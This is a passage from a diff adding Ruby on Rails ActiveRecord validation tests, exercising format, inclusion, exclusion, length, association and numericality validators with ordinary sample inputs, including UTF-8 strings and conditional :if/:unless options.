+    assert_equal "is bad data", t.errors.on(:title)
+    assert_nil t.errors.on(:content)
+
+    t.title = "Validation macros rule!"
+
+    assert t.save
+    assert_nil t.errors.on(:title)
+
+    assert_raise(ArgumentError) { Topic.validates_format_of(:title, :content) }
+  end
+
+  def test_validate_format_with_allow_blank
+    Topic.validates_format_of(:title, :with => /^Validation\smacros \w+!$/, :allow_blank=>true)
+    assert !Topic.create("title" => "Shouldn't be valid").valid?
+    assert Topic.create("title" => "").valid?
+    assert Topic.create("title" => nil).valid?
+    assert Topic.create("title" => "Validation macros rule!").valid?
+  end
+
+  # testing ticket #3142
+  def test_validate_format_numeric
+    Topic.validates_format_of(:title, :content, :with => /^[1-9][0-9]*$/, :message => "is bad data")
+
+    t = Topic.create("title" => "72x", "content" => "6789")
+    assert !t.valid?, "Shouldn't be valid"
+    assert !t.save, "Shouldn't save because it's invalid"
+    assert_equal "is bad data", t.errors.on(:title)
+    assert_nil t.errors.on(:content)
+
+    t.title = "-11"
+    assert !t.valid?, "Shouldn't be valid"
+
+    t.title = "03"
+    assert !t.valid?, "Shouldn't be valid"
+
+    t.title = "z44"
+    assert !t.valid?, "Shouldn't be valid"
+
+    t.title = "5v7"
+    assert !t.valid?, "Shouldn't be valid"
+
+    t.title = "1"
+
+    assert t.save
+    assert_nil t.errors.on(:title)
+  end
+
+  def test_validate_format_with_formatted_message
+    Topic.validates_format_of(:title, :with => /^Valid Title$/, :message => "can't be {{value}}")
+    t = Topic.create(:title => 'Invalid title')
+    assert_equal "can't be Invalid title", t.errors.on(:title)
+  end
+
+  def test_validates_inclusion_of
+    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ) )
+
+    assert !Topic.create("title" => "a!", "content" => "abc").valid?
+    assert !Topic.create("title" => "a b", "content" => "abc").valid?
+    assert !Topic.create("title" => nil, "content" => "def").valid?
+
+    t = Topic.create("title" => "a", "content" => "I know you are but what am I?")
+    assert t.valid?
+    t.title = "uhoh"
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is not included in the list", t.errors["title"]
+
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => nil ) }
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => 0) }
+
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => "hi!" ) }
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => {} ) }
+    assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => [] ) }
+  end
+
+  def test_validates_inclusion_of_with_allow_nil
+    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :allow_nil=>true )
+
+    assert !Topic.create("title" => "a!", "content" => "abc").valid?
+    assert !Topic.create("title" => "", "content" => "abc").valid?
+    assert Topic.create("title" => nil, "content" => "abc").valid?
+  end
+
+  def test_numericality_with_getter_method
+    Developer.validates_numericality_of( :salary )
+    developer = Developer.new("name" => "michael", "salary" => nil)
+    developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
+    assert developer.valid?
+  end
+
+  def test_validates_length_of_with_allow_nil
+    Topic.validates_length_of( :title, :is => 5, :allow_nil=>true )
+
+    assert !Topic.create("title" => "ab").valid?
+    assert !Topic.create("title" => "").valid?
+    assert Topic.create("title" => nil).valid?
+    assert Topic.create("title" => "abcde").valid?
+  end
+
+  def test_validates_length_of_with_allow_blank
+    Topic.validates_length_of( :title, :is => 5, :allow_blank=>true )
+
+    assert !Topic.create("title" => "ab").valid?
+    assert Topic.create("title" => "").valid?
+    assert Topic.create("title" => nil).valid?
+    assert Topic.create("title" => "abcde").valid?
+  end
+
+  def test_validates_inclusion_of_with_formatted_message
+    Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :message => "option {{value}} is not in the list" )
+
+    assert Topic.create("title" => "a", "content" => "abc").valid?
+
+    t = Topic.create("title" => "uhoh", "content" => "abc")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "option uhoh is not in the list", t.errors["title"]
+  end
+
+  def test_numericality_with_allow_nil_and_getter_method
+    Developer.validates_numericality_of( :salary, :allow_nil => true)
+    developer = Developer.new("name" => "michael", "salary" => nil)
+    developer.instance_eval("def salary; read_attribute('salary') ? read_attribute('salary') : 100000; end")
+    assert developer.valid?
+  end
+
+  def test_validates_exclusion_of
+    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ) )
+
+    assert Topic.create("title" => "something", "content" => "abc").valid?
+    assert !Topic.create("title" => "monkey", "content" => "abc").valid?
+  end
+
+  def test_validates_exclusion_of_with_formatted_message
+    Topic.validates_exclusion_of( :title, :in => %w( abe monkey ), :message => "option {{value}} is restricted" )
+
+    assert Topic.create("title" => "something", "content" => "abc")
+
+    t = Topic.create("title" => "monkey")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "option monkey is restricted", t.errors["title"]
+  end
+
+  def test_validates_length_of_using_minimum
+    Topic.validates_length_of :title, :minimum => 5
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "not"
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
+
+    t.title = ""
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
+
+    t.title = nil
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
+  end
+
+  def test_optionally_validates_length_of_using_minimum
+    Topic.validates_length_of :title, :minimum => 5, :allow_nil => true
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_maximum
+    Topic.validates_length_of :title, :maximum => 5
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "notvalid"
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is too long (maximum is 5 characters)", t.errors["title"]
+
+    t.title = ""
+    assert t.valid?
+
+    t.title = nil
+    assert !t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_maximum
+    Topic.validates_length_of :title, :maximum => 5, :allow_nil => true
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_within
+    Topic.validates_length_of(:title, :content, :within => 3..5)
+
+    t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
+    assert !t.valid?
+    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
+    assert_equal "is too long (maximum is 5 characters)", t.errors.on(:content)
+
+    t.title = nil
+    t.content = nil
+    assert !t.valid?
+    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
+    assert_equal "is too short (minimum is 3 characters)", t.errors.on(:content)
+
+    t.title = "abe"
+    t.content  = "mad"
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_within
+    Topic.validates_length_of :title, :content, :within => 3..5, :allow_nil => true
+
+    t = Topic.create('title' => 'abc', 'content' => 'abcd')
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_within_on_create
+    Topic.validates_length_of :title, :content, :within => 5..10, :on => :create, :too_long => "my string is too long: {{count}}"
+
+    t = Topic.create("title" => "thisisnotvalid", "content" => "whatever")
+    assert !t.save
+    assert t.errors.on(:title)
+    assert_equal "my string is too long: 10", t.errors[:title]
+
+    t.title = "butthisis"
+    assert t.save
+
+    t.title = "few"
+    assert t.save
+
+    t.content = "andthisislong"
+    assert t.save
+
+    t.content = t.title = "iamfine"
+    assert t.save
+  end
+
+  def test_optionally_validates_length_of_using_within_on_update
+    Topic.validates_length_of :title, :content, :within => 5..10, :on => :update, :too_short => "my string is too short: {{count}}"
+
+    t = Topic.create("title" => "vali", "content" => "whatever")
+    assert !t.save
+    assert t.errors.on(:title)
+
+    t.title = "not"
+    assert !t.save
+    assert t.errors.on(:title)
+    assert_equal "my string is too short: 5", t.errors[:title]
+
+    t.title = "valid"
+    t.content = "andthisistoolong"
+    assert !t.save
+    assert t.errors.on(:content)
+
+    t.content = "iamfine"
+    assert t.save
+  end
+
+  def test_validates_length_of_using_is
+    Topic.validates_length_of :title, :is => 5
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "notvalid"
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "is the wrong length (should be 5 characters)", t.errors["title"]
+
+    t.title = ""
+    assert !t.valid?
+
+    t.title = nil
+    assert !t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_is
+    Topic.validates_length_of :title, :is => 5, :allow_nil => true
+
+    t = Topic.create("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_bignum
+    bigmin = 2 ** 30
+    bigmax = 2 ** 32
+    bigrange = bigmin...bigmax
+    assert_nothing_raised do
+      Topic.validates_length_of :title, :is => bigmin + 5
+      Topic.validates_length_of :title, :within => bigrange
+      Topic.validates_length_of :title, :in => bigrange
+      Topic.validates_length_of :title, :minimum => bigmin
+      Topic.validates_length_of :title, :maximum => bigmax
+    end
+  end
+
+  def test_validates_length_with_globally_modified_error_message
+    ActiveSupport::Deprecation.silence do
+      ActiveRecord::Errors.default_error_messages[:too_short] = 'tu est trops petit hombre {{count}}'
+    end
+    Topic.validates_length_of :title, :minimum => 10
+    t = Topic.create(:title => 'too short')
+    assert !t.valid?
+
+    assert_equal 'tu est trops petit hombre 10', t.errors['title']
+  end
+
+  def test_validates_size_of_association
+    assert_nothing_raised { Topic.validates_size_of :replies, :minimum => 1 }
+    t = Topic.new('title' => 'noreplies', 'content' => 'whatever')
+    assert !t.save
+    assert t.errors.on(:replies)
+    reply = t.replies.build('title' => 'areply', 'content' => 'whateveragain')
+    assert t.valid?
+  end
+
+  def test_validates_size_of_association_using_within
+    assert_nothing_raised { Topic.validates_size_of :replies, :within => 1..2 }
+    t = Topic.new('title' => 'noreplies', 'content' => 'whatever')
+    assert !t.save
+    assert t.errors.on(:replies)
+
+    reply = t.replies.build('title' => 'areply', 'content' => 'whateveragain')
+    assert t.valid?
+
+    2.times { t.replies.build('title' => 'areply', 'content' => 'whateveragain') }
+    assert !t.save
+    assert t.errors.on(:replies)
+  end
+
+  def test_validates_length_of_nasty_params
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :minimum=>6, :maximum=>9) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :maximum=>9) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :minimum=>9) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>6, :is=>9) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :minimum=>"a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :maximum=>"a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within=>"a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, :is=>"a") }
+  end
+
+  def test_validates_length_of_custom_errors_for_minimum_with_message
+    Topic.validates_length_of( :title, :minimum=>5, :message=>"boo {{count}}" )
+    t = Topic.create("title" => "uhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "boo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_minimum_with_too_short
+    Topic.validates_length_of( :title, :minimum=>5, :too_short=>"hoo {{count}}" )
+    t = Topic.create("title" => "uhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_maximum_with_message
+    Topic.validates_length_of( :title, :maximum=>5, :message=>"boo {{count}}" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "boo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_maximum_with_too_long
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_is_with_message
+    Topic.validates_length_of( :title, :is=>5, :message=>"boo {{count}}" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "boo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_is_with_wrong_length
+    Topic.validates_length_of( :title, :is=>5, :wrong_length=>"hoo {{count}}" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_validates_length_of_using_minimum_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :minimum => 5
+
+      t = Topic.create("title" => "一二三四五", "content" => "whatever")
+      assert t.valid?
+
+      t.title = "一二三四"
+      assert !t.valid?
+      assert t.errors.on(:title)
+      assert_equal "is too short (minimum is 5 characters)", t.errors["title"]
+    end
+  end
+
+  def test_validates_length_of_using_maximum_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :maximum => 5
+
+      t = Topic.create("title" => "一二三四五", "content" => "whatever")
+      assert t.valid?
+
+      t.title = "一二34五六"
+      assert !t.valid?
+      assert t.errors.on(:title)
+      assert_equal "is too long (maximum is 5 characters)", t.errors["title"]
+    end
+  end
+
+  def test_validates_length_of_using_within_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of(:title, :content, :within => 3..5)
+
+      t = Topic.new("title" => "一二", "content" => "12三四五六七")
+      assert !t.valid?
+      assert_equal "is too short (minimum is 3 characters)", t.errors.on(:title)
+      assert_equal "is too long (maximum is 5 characters)", t.errors.on(:content)
+      t.title = "一二三"
+      t.content  = "12三"
+      assert t.valid?
+    end
+  end
+
+  def test_optionally_validates_length_of_using_within_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :within => 3..5, :allow_nil => true
+
+      t = Topic.create(:title => "一二三四五")
+      assert t.valid?, t.errors.inspect
+
+      t = Topic.create(:title => "一二三")
+      assert t.valid?, t.errors.inspect
+
+      t.title = nil
+      assert t.valid?, t.errors.inspect
+    end
+  end
+
+  def test_optionally_validates_length_of_using_within_on_create_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :within => 5..10, :on => :create, :too_long => "長すぎます: {{count}}"
+
+      t = Topic.create("title" => "一二三四五六七八九十A", "content" => "whatever")
+      assert !t.save
+      assert t.errors.on(:title)
+      assert_equal "長すぎます: 10", t.errors[:title]
+
+      t.title = "一二三四五六七八九"
+      assert t.save
+
+      t.title = "一二3"
+      assert t.save
+
+      t.content = "一二三四五六七八九十"
+      assert t.save
+
+      t.content = t.title = "一二三四五六"
+      assert t.save
+    end
+  end
+
+  def test_optionally_validates_length_of_using_within_on_update_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :within => 5..10, :on => :update, :too_short => "短すぎます: {{count}}"
+
+      t = Topic.create("title" => "一二三4", "content" => "whatever")
+      assert !t.save
+      assert t.errors.on(:title)
+
+      t.title = "1二三4"
+      assert !t.save
+      assert t.errors.on(:title)
+      assert_equal "短すぎます: 5", t.errors[:title]
+
+      t.title = "一二三四五六七八九十A"
+      assert !t.save
+      assert t.errors.on(:title)
+
+      t.title = "一二345"
+      assert t.save
+    end
+  end
+
+  def test_validates_length_of_using_is_utf8
+    with_kcode('UTF8') do
+      Topic.validates_length_of :title, :is => 5
+
+      t = Topic.create("title" => "一二345", "content" => "whatever")
+      assert t.valid?
+
+      t.title = "一二345六"
+      assert !t.valid?
+      assert t.errors.on(:title)
+      assert_equal "is the wrong length (should be 5 characters)", t.errors["title"]
+    end
+  end
+
+  def test_validates_length_of_with_block
+    Topic.validates_length_of :content, :minimum => 5, :too_short=>"Your essay must be at least {{count}} words.",
+                                        :tokenizer => lambda {|str| str.scan(/\w+/) }
+    t = Topic.create!(:content => "this content should be long enough")
+    assert t.valid?
+
+    t.content = "not long enough"
+    assert !t.valid?
+    assert t.errors.on(:content)
+    assert_equal "Your essay must be at least 5 words.", t.errors[:content]
+  end
+
+  def test_validates_size_of_association_utf8
+    with_kcode('UTF8') do
+      assert_nothing_raised { Topic.validates_size_of :replies, :minimum => 1 }
+      t = Topic.new('title' => 'あいうえお', 'content' => 'かきくけこ')
+      assert !t.save
+      assert t.errors.on(:replies)
+      t.replies.build('title' => 'あいうえお', 'content' => 'かきくけこ')
+      assert t.valid?
+    end
+  end
+
+  def test_validates_associated_many
+    Topic.validates_associated( :replies )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    t.replies << [r = Reply.new("title" => "A reply"), r2 = Reply.new("title" => "Another reply", "content" => "non-empty"), r3 = Reply.new("title" => "Yet another reply"), r4 = Reply.new("title" => "The last reply", "content" => "non-empty")]
+    assert !t.valid?
+    assert t.errors.on(:replies)
+    assert_equal 1, r.errors.count  # make sure all associated objects have been validated
+    assert_equal 0, r2.errors.count
+    assert_equal 1, r3.errors.count
+    assert_equal 0, r4.errors.count
+    r.content = r3.content = "non-empty"
+    assert t.valid?
+  end
+
+  def test_validates_associated_one
+    Reply.validates_associated( :topic )
+    Topic.validates_presence_of( :content )
+    r = Reply.new("title" => "A reply", "content" => "with content!")
+    r.topic = Topic.create("title" => "uhohuhoh")
+    assert !r.valid?
+    assert r.errors.on(:topic)
+    r.topic.content = "non-empty"
+    assert r.valid?
+  end
+
+  def test_validate_block
+    Topic.validate { |topic| topic.errors.add("title", "will never be valid") }
+    t = Topic.create("title" => "Title", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "will never be valid", t.errors["title"]
+  end
+
+  def test_invalid_validator
+    Topic.validate 3
+    assert_raise(ArgumentError) { t = Topic.create }
+  end
+
+  def test_throw_away_typing
+    d = Developer.new("name" => "David", "salary" => "100,000")
+    assert !d.valid?
+    assert_equal 100, d.salary
+    assert_equal "100,000", d.salary_before_type_cast
+  end
+
+  def test_validates_acceptance_of_with_custom_error_using_quotes
+    Developer.validates_acceptance_of :salary, :message=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.salary = "0"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+  end
+
+  def test_validates_confirmation_of_with_custom_error_using_quotes
+    Developer.validates_confirmation_of :name, :message=> "confirm 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "John"
+    d.name_confirmation = "Johnny"
+    assert !d.valid?
+    assert_equal "confirm 'single' and \"double\" quotes", d.errors.on(:name)
+  end
+
+  def test_validates_format_of_with_custom_error_using_quotes
+    Developer.validates_format_of :name, :with => /^(A-Z*)$/, :message=> "format 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = d.name_confirmation = "John 32"
+    assert !d.valid?
+    assert_equal "format 'single' and \"double\" quotes", d.errors.on(:name)
+  end
+
+  def test_validates_inclusion_of_with_custom_error_using_quotes
+    Developer.validates_inclusion_of :salary, :in => 1000..80000, :message=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.salary = "90,000"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:salary).last
+  end
+
+  def test_validates_length_of_with_custom_too_long_using_quotes
+    Developer.validates_length_of :name, :maximum => 4, :too_long=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "Jeffrey"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+  end
+
+  def test_validates_length_of_with_custom_too_short_using_quotes
+    Developer.validates_length_of :name, :minimum => 4, :too_short=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "Joe"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+  end
+
+  def test_validates_length_of_with_custom_message_using_quotes
+    Developer.validates_length_of :name, :minimum => 4, :message=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "Joe"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+  end
+
+  def test_validates_presence_of_with_custom_message_using_quotes
+    Developer.validates_presence_of :non_existent, :message=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "Joe"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:non_existent)
+  end
+
+  def test_validates_uniqueness_of_with_custom_message_using_quotes
+    Developer.validates_uniqueness_of :name, :message=> "This string contains 'single' and \"double\" quotes"
+    d = Developer.new
+    d.name = "David"
+    assert !d.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", d.errors.on(:name).last
+  end
+
+  def test_validates_associated_with_custom_message_using_quotes
+    Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes"
+    Topic.validates_presence_of :content
+    r = Reply.create("title" => "A reply", "content" => "with content!")
+    r.topic = Topic.create("title" => "uhohuhoh")
+    assert !r.valid?
+    assert_equal "This string contains 'single' and \"double\" quotes", r.errors.on(:topic).last
+  end
+
+  def test_if_validation_using_method_true
+    # When the method returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :if => :condition_is_true )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_unless_validation_using_method_true
+    # When the method returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :unless => :condition_is_true )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_if_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :if => :condition_is_true_but_its_not )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_unless_validation_using_method_false
+    # When the method returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :unless => :condition_is_true_but_its_not )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_if_validation_using_string_true
+    # When the evaluated string returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :if => "a = 1; a == 1" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_unless_validation_using_string_true
+    # When the evaluated string returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :unless => "a = 1; a == 1" )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_if_validation_using_string_false
+    # When the evaluated string returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :if => "false")
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_unless_validation_using_string_false
+    # When the evaluated string returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}", :unless => "false")
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_if_validation_using_block_true
+    # When the block returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}",
+      :if => Proc.new { |r| r.content.size > 4 } )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_unless_validation_using_block_true
+    # When the block returns true
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}",
+      :unless => Proc.new { |r| r.content.size > 4 } )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_if_validation_using_block_false
+    # When the block returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}",
+      :if => Proc.new { |r| r.title != "uhohuhoh"} )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert t.valid?
+    assert !t.errors.on(:title)
+  end
+
+  def test_unless_validation_using_block_false
+    # When the block returns false
+    Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}",
+      :unless => Proc.new { |r| r.title != "uhohuhoh"} )
+    t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+    assert !t.valid?
+    assert t.errors.on(:title)
+    assert_equal "hoo 5", t.errors["title"]
+  end
+
+  def test_validates_associated_missing
+    Reply.validates_presence_of(:topic)
+    r = Reply.create("title" => "A reply", "content" => "with content!")
+    assert !r.valid?
+    assert r.errors.on(:topic)
+
+    r.topic = Topic.find :first
+    assert r.valid?
+  end
+
+  def test_errors_to_xml
+    r = Reply.new :title => "Wrong Create"
+    assert !r.valid?
+    xml = r.errors.to_xml(:skip_instruct => true)
+    assert_equal "<errors>", xml.first(8)
+    assert xml.include?("<error>Title is Wrong Create</error>")
+    assert xml.include?("<error>Content Empty</error>")
+  end
+
+ def test_validation_order
+    Topic.validates_presence_of :title
+    Topic.validates_length_of :title, :minimum => 2
+
+    t = Topic.new("title" => "")
+    assert !t.valid?
+    assert_equal "can't be blank", t.errors.on("title").first
+ end
+
+  # previous implementation of validates_presence_of eval'd the
+  # string with the wrong binding, this regression test is to
+  # ensure that it works correctly
+  def test_validation_with_if_as_string
+    Topic.validates_presence_of(:title)
+    Topic.validates_presence_of(:author_name, :if => "title.to_s.match('important')")
+
+    t = Topic.new
+    assert !t.valid?, "A topic without a title should not be valid"
+    assert !t.errors.invalid?("author_name"), "A topic without an 'important' title should not require an author"
+
+    t.title = "Just a title"
+    assert t.valid?, "A topic with a basic title should be valid"
+
+    t.title = "A very important title"
+    assert !t.valid?, "A topic with an important title, but without an author, should not be valid"
+    assert t.errors.invalid?("author_name"), "A topic with an 'important' title should require an author"
+
+    t.author_name = "Hubert J. Farnsworth"
+    assert t.valid?, "A topic with an important title and author should be valid"
+  end
+
+  private
+    def with_kcode(kcode)
+      if RUBY_VERSION < '1.9'
+        orig_kcode, $KCODE = $KCODE, kcode
+        begin
+          yield
+        ensure
+          $KCODE = orig_kcode
+        end
+      else
+        yield
+      end
+    end
+end
+
+
+class ValidatesNumericalityTest < ActiveRecord::TestCase
+  NIL = [nil]
+  BLANK = ["", " ", " \t \r \n"]
+  BIGDECIMAL_STRINGS = %w(12345678901234567890.1234567890) # 30 significent digits
+  FLOAT_STRINGS = %w(0.0 +0.0 -0.0 10.0 10.5 -10.5 -0.0001 -090.1 90.1e1 -90.1e5 -90.1e-5 90e-5)
+  INTEGER_STRINGS = %w(0 +0 -0 10 +10 -10 0090 -090)
+  FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001] + FLOAT_STRINGS
+  INTEGERS = [0, 10, -10] + INTEGER_STRINGS
+  BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal.new(bd) }
+  JUNK = ["not a number", "42 not a number", "0xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
+  INFINITY = [1.0/0.0]
+
+  def setup
+    Topic.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Topic.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    Topic.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+  end
+
+  def test_default_validates_numericality_of
+    Topic.validates_numericality_of :approved
+
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_nil_allowed
+    Topic.validates_numericality_of :approved, :allow_nil => true
+
+    invalid!(JUNK)
+    valid!(NIL + BLANK + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_integer_only
+    Topic.validates_numericality_of :approved, :only_integer => true
+
+    invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
+    valid!(INTEGERS)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_nil_allowed
+    Topic.validates_numericality_of :approved, :only_integer => true, :allow_nil => true
+
+    invalid!(JUNK + FLOATS + BIGDECIMAL + INFINITY)
+    valid!(NIL + BLANK + INTEGERS)
+  end
+
+  def test_validates_numericality_with_greater_than
+    Topic.validates_numericality_of :approved, :greater_than => 10
+
+    invalid!([-10, 10], 'must be greater than 10')
+    valid!([11])
+  end
+
+  def test_validates_numericality_with_greater_than_or_equal
+    Topic.validates_numericality_of :approved, :greater_than_or_equal_to => 10
+
+    invalid!([-9, 9], 'must be greater than or equal to 10')
+    valid!([10])
+  end
+
+  def test_validates_numericality_with_equal_to
+    Topic.validates_numericality_of :approved, :equal_to => 10
+
+    invalid!([-10, 11] + INFINITY, 'must be equal to 10')
+    valid!([10])
+  end
+
